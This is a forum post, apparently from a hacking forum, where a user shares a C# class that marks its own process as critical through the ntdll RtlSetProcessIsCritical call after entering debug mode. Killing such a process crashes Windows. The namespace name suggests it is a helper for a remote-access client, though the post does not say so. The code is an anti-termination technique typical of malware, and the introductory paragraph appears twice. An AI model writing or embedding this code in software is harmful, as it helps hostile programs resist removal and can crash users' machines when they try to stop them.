Hey HF, as part of my campaign to become more widely known on this forum i have decided to start sharing some of my more interesting code snipets with yall, hope you enjoy!
The code below protects the process using 2 Native API calls to the windows kernal, once the void has been called the only safe way to terminate the process would be for the thread itself, or a program of equal integrity to call a de-escalation from within the calling process.
The code below protects the process using 2 Native API calls to the windows kernal, once the void has been called the only safe way to terminate the process would be for the thread itself, or a program of equal integrity to call a de-escalation from within the calling process.
Code
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
namespace Client.Helper
{
public static class ProcessCritical
{
public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e)
{
if(true) //replace true with whatever condition must be met
Exit();
}
public static void Set()
{
try
{
SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding);
Process.EnterDebugMode(); //entering debug mode is essential for this specific call to work
RtlSetProcessIsCritical(1, 0, 0); //add the critical flag for the current process
}
catch { }
}
public static void Exit()
{
try
{
RtlSetProcessIsCritical(0, 0, 0); //remove the critical flag from the current process
}
catch
{
while (true)
{
Thread.Sleep(-1); //Permanet Thread.Sleep to prevent BSOD if the process is unable to de-escalate
//you could add a custom error handeler here or just continue to the process but doing so isnt recommended
}
}
}
#region "Native Methods"
[DllImport("ntdll.dll", SetLastError = true)]
private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
#endregion
}
}


![[Image: vp6iypF.gif]](https://i.imgur.com/vp6iypF.gif)

![[Image: signaturetwo.png]](https://u.cubeupload.com/Vyxn/signaturetwo.png)